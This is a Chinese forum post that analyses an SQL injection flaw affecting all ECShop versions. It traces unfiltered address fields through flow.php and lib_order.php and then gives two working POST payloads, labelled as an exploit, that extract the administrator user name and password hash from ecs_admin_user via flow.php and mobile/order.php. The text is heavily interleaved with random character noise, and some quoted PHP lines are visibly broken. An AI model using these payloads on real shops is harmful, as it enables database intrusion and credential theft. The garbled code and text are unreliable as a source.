找回密码
 立即注册
查看: 2516|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。: }2 j. j% N# W. T5 f
3 x8 p7 g5 k3 v" D! U" _
    漏洞关键文件:/ I3 t3 U/ E! D$ I8 C9 T9 v
" j8 P3 S  ~" g
    /includes/lib_order.php
0 a" D2 x! Z$ \: S- y- y& r9 g  U* Z% R) a" v" P
    关键函数:
4 h% ]6 k4 |7 r# S( |: a
! V; F4 _+ s* B
1 B1 {! Q! D& M- t/ ^* Z7 K; q/ E0 C6 w
01     function available_shipping_list($region_id_list)
; J3 w" `. ^# h4 k) P: N& L- @+ g$ z; u
02 {
% r1 c9 y2 ~; g# g) P( r, ^& _2 V4 l3 r; \% P2 E) L1 u, ^7 Q
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
4 R# r* G. K8 N( a5 `+ S& d+ `4 e4 y9 L4 Z$ j
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . $ ~5 q* T4 m, ?# m' m3 W! {

* h  P' R6 W3 o/ l/ C5 t7 s& `- _05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . + }; `, l9 Q% Y3 ]5 h9 Z
% I# ~2 V* f6 N& w/ y) n
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
( d8 s/ N4 w3 ^) Q% s. |2 O' {  t( `
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
8 w5 I1 F4 _+ u& s: ]
9 }3 J# f" Q, h. y6 f+ Q: ^' N' V08             'WHERE r.region_id ' . db_create_in($region_id_list) . ) ?0 s6 n" Z2 p, L3 ^

/ S# j  Y# k6 ^" i6 a09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 @( r- S9 k$ L( ?& z5 l# B
$ M' o& f1 o' n- T: G& V) K$ W6 C10   
3 U+ K4 o$ a6 b1 R7 z# j3 ^$ `; |# l, l) Q
11     return $GLOBALS['db']->getAll($sql); ) w3 t8 O- W& _3 S0 F# y  ~5 X

  X- G* m- ]2 w9 F5 H+ r12 } ' ]% {9 k. k) I; N7 U
/ e) y6 b' y, _) w5 J
显然对传入的参数没有任何过滤就带入了查询语句。
' A' |1 ^4 p8 k& [' f" T( _
8 m% L9 i$ X: n下面我们追踪这个函数在flow.php中:( W6 A' h% U: F* b" {) Q
第531行:   
1 N5 R5 g. b8 F- ]1 {3 z2 Y. a; k, k, G/ X
1 $shipping_list     = available_shipping_list($region);
6 D1 |3 R- R$ }( ]9 b; z
2 B2 B4 N, l* J- X - o8 V5 \! `* Q  A3 p
- f2 y3 g+ U; p0 k, C. U

6 b0 r* T5 _* n6 N0 C' `- J( Z9 X1 Z# |$ w0 `$ N3 c
再对传入变量进行追踪:$ ~( j- s3 Q# P, Q2 b3 k4 w

1 Z% J. C. {7 F7 n0 z第530行:    $ }0 |" O6 D+ v7 s! R* H3 ~

* T0 O5 M* c6 ]7 Z3 a1 H1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
# j4 w& E! ]- H4 Z$ ]- k* `& d1 }. K: A- d2 R* n- I
: R/ n* D) y. f) p/ G  c( m3 K
! S3 ]2 M; k4 j/ c; q
$ d4 t( J6 L3 q3 C
  j, D! D5 \6 P; d  D8 w2 T
第473行:        # Z+ Q! i5 i! g' ?  P

" `5 U1 p' G# f1 $consignee = get_consignee($_SESSION['user_id']);
  }) ]7 W$ r$ ^# \* W
) b" n/ T6 S, e# D: b0 L( @4 P到了一个关键函数:9 d8 b& H# v' x' h, {

7 L4 i! J/ G1 T; \* m. z/includes/lib_order.php
: V8 F1 R' t0 Q' Q! `6 q
; X: z6 e, W3 c4 B5 Q% f
& p1 _0 i' u5 \1 r9 q( z
3 _) o4 i4 h8 o5 R) d8 H9 [ ! e9 f& c& A6 [- E6 v9 ]- x) S
3 T5 y# J7 ]) e8 F8 t- c
01 function get_consignee($user_id)
5 f' J4 \) i( z: E
9 ^6 N7 Y# t1 X! t02 { - r! X& f) \( O

: R0 z3 \4 j( @/ l/ v03     if (isset($_SESSION['flow_consignee']))
* H) ]1 H& |# r0 R) q4 F" T% O$ `/ m
04     { & g: C1 Y5 m. y& y$ ^! c% Z
1 c0 m1 ~8 s5 Y2 N/ O
05         /* 如果存在session,则直接返回session中的收货人信息 */ & f) L$ G6 G- Q9 y

) A. ~* ]* i( W06   , W6 B- R6 X8 M2 h' O- d$ A

( |: L* v5 d' A07         return $_SESSION['flow_consignee']; 1 G" d( e8 `4 r9 q1 ^
& t7 |0 L. U) E+ A& w& M6 ?
08     } 4 f; d" E& ~" `. }$ i
5 q6 Y1 [5 }  G3 E- ]( b
09     else
3 s8 ?2 I% x# P" T4 q
1 r. J4 e. J$ q; I+ A6 ^10     {
, S6 N) A8 \2 B$ D+ r
; y# f* Q( X. j5 P+ _% q! W, e11         /* 如果不存在,则取得用户的默认收货人信息 */
3 f' E* F  {& i* }
2 V; j: M( F0 W, k: h12         $arr = array(); - B6 B( A  Z9 }( j+ P, W) w
; a! |% v% D  g: P  A
13   
0 z- o9 C2 U6 b& }- e* v% f/ e$ L7 S. _3 F9 I" i' `
14         if ($user_id > 0)
; O' Z5 {6 o% A1 D% p
4 J: Y. y% F& \5 e15         { 0 U/ m! {! t  K! w/ ~1 Q- H
, z( M) _/ ^/ O, |; Y. a) u
16             /* 取默认地址 */ 6 K7 Q/ Z! y2 ^* B2 {$ p& N4 `0 H: W
" [' q# R4 ~+ n4 w) m
17             $sql = "SELECT ua.*".
) |2 S% n5 ~; q$ y+ D$ w# @0 Z" p5 r  M/ c3 A1 F
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 e& }3 G7 `7 G1 ~1 @7 k

" c; T+ ]$ j' H! m19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ( x3 H0 ]5 }/ ]) f8 a" c
, j2 Y' w' L8 ~: |
20   
/ }& ]; z; W* z2 `* C( m. }; E6 U3 a
8 R  _7 Y5 N# R21             $arr = $GLOBALS['db']->getRow($sql);   v1 ~6 f/ a, q! e( l% ~
7 f# R7 a* J0 c5 w9 d) @
22         } % x5 [* s8 N8 a: J! {# O( i

! R0 M* S/ j) T& x3 A& t% W23   
  \8 T2 P3 J0 h# s, m7 ~, G8 i3 K& U& j) Y
24         return $arr;
) V2 s, k5 r6 C* P, s3 Q. J& f$ j
# G+ r$ H# _8 z25     }
) w/ d! _; n! c0 `: _
" c! C6 _# T( J! q2 l( X" e' j26 } & Q( G& |: |3 w6 Q7 c2 B+ Q3 o
& ]! P) C7 t- K, c
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?7 J! w! \5 s4 z* ~" z: J( p: w
7 C. j& M2 O: |2 ^! z' f/ F/ _
2 J- m3 D! C9 d) C6 c

# T  v+ O# v5 q/ F1 m( f5 \. C7 q关键点:/ k0 E6 s: J1 ~% N8 ]: s
; l' s  l! z  e6 R' v6 W! R# D
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* L- h. |* R( h) H/ @- r
. u$ c) B5 y, J  t: W; H7 V这里对传入参数反转义存入$_SESSION中。8 G- w* D$ x9 b+ [! a8 w) O

0 p" p6 q8 B* V" U7 o9 Y% p4 y . L9 j! f( U- _  V; v7 p

  Z! M6 Z. @) ~$ s2 x然后看下:
) P0 S# r, T9 |- C# d/ F+ [7 d7 z& [0 I" k0 M

* w! a9 S; }( [4 @% m" Q: [; f- ~( l/ ~% {$ S- u$ Y% u3 f% b) }; C& J) E
   
, ^, `8 C1 V/ t% j! H/ A* l
. e) g- j) V" W) x/ a* \9 n. U01 $consignee = array( ( z: J* k( ?; S3 R: [- p
) z% L# p: h* L& X2 n6 s/ l3 L
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
. V9 k- }4 s1 ?( M/ ]- d, H
! Y+ g/ `9 Q. I' x0 V. |' M. N03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( f3 u' W- X/ x1 y" W' x$ i( S* z$ ]2 q4 ~, E  p- i
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
( `  n7 C2 m0 t* D) {" L, F- N4 b
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
5 C& x1 |) n4 i3 K. i# a2 _$ {
" h. b/ W' ?+ W, v' S06         'city'          => empty($_POST['city'])       ? '' _POST['city'], ( \8 ~% A, \! t2 C5 i+ r' D. O$ X1 F" E
+ L# v( W) q5 {0 q' z3 k
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
$ Q( r: F. R8 n; C
* j7 Z7 y- n% ^6 @; p! p08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
/ o6 B) t8 w" L8 ~: x$ f9 ?# j/ s: U, H  k* A( k* D! t
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], " |# C' \& g9 b+ R
# Z3 q) ~4 @9 s$ s5 [, O/ J
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), $ G" U$ ]  n: c, M  |! c
! j6 w4 A, l+ Z% e* S1 r3 J
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), % N/ a4 p/ m% P, q7 G" T# Z

" p. W/ C: K  E( U. E" t6 @+ I12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 R; B, p& S6 g8 c* ]/ T: l, \5 _* i- q  a. B
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
1 D8 C- w4 G2 [0 K5 `. R  h* z! P1 R# A% [
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], + G* {- C& n$ R) O8 t8 j( d

/ Y: K* A9 t. w* W: Z7 L7 k15     ); : L  q7 N% M5 f3 r: [: |

3 y; j- ?/ L+ H1 y好了注入就这样出现了。/ f# `! q% z& `$ ?8 ?2 K# S& \) L* G
" J8 M8 L" e/ H; D7 m) R9 H
==================
: D- z( ]$ c$ c) s$ |' R* ]" n- {7 A/ J7 k+ O
注入测试:; ?$ a: p5 W: _( u
# N" G7 I9 q8 M; r, b+ i6 T. B
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)3 n4 q% A' A2 U; f
+ B+ m+ h0 N' i
测试程序:ECShop_V2.7.3_UTF8_release1106
) k8 k* u1 d% N( c- M* L) i$ A& C0 E& N* |, A: @4 P

- X8 g& |* \, v' z8 p" B
5 P  g2 D3 V. R9 \1.首先需要点击一个商品加入购物车
: ~( S( i  Z) v/ S- y& a0 _
8 Y/ w9 }: O* E- r2.注册一个会员帐号
  c1 a/ U% |! ~
0 [8 h) K$ H( z; M4 L" m3.post提交数据7 U% N& Z3 V( J! x+ @7 a! U

# |9 X  {" Q8 L3 L% N; K$ S
$ M, d& @. |& k& P6 ?* t6 w: }" U9 @  g+ a2 y5 q$ x) P, j: z( M: {3 E9 U
1 http://127.0.0.1/ecshop/flow.php 8 a2 e7 a, V- b7 u  W* m
: T0 [$ g, W! F0 p) g* B* M( w% [
2   # ^+ M2 J+ f/ {
3 O+ J8 _- `: ^% @
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= / O* Y! M! ]9 N3 g. Z: M. s
举一反三,我们根据这个漏洞我们可以继续深入挖掘:1 D" w! J4 _7 g1 z2 P/ g

2 \- ^. P% {6 N( f+ |/ Q我们搜寻关键函数function available_shipping_list()5 t/ a& @; c9 g2 J- z
* ?5 r% S4 p; Y7 L
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同& i" L6 Y' X& ~4 L/ H; v

$ a7 [$ z. _+ |0 N" w% T* @, t利用exp:/ V6 l9 {' P$ A

( p8 V0 ]. Y+ H8 x6 s1.点击一个商品,点击购买商标! K9 o, o8 d+ Z9 E% A; D8 F% t

" N7 P* @% z* p2 [( q" V2.登录会员帐号
/ @( c3 j" V2 t' }- ]
9 W+ N4 x1 K$ r- A) _3 ~3.post提交:" n3 r. m8 F5 N" _' h9 Q

0 u- P5 c9 h' |2 M. phttp://127.0.0.1/ecshop/mobile/order.php
1 [/ |: {# ~7 E' `: N' r, \4 c
/ H% U, B/ `6 ?9 n: C, {
! V/ y5 t: ?( {3 C! b4 ^! ~6 P
6 Y1 o+ n) J" j/ X! ocountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=2 N5 a, A  j, h6 z. O

" m' o/ R6 i( ^% t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表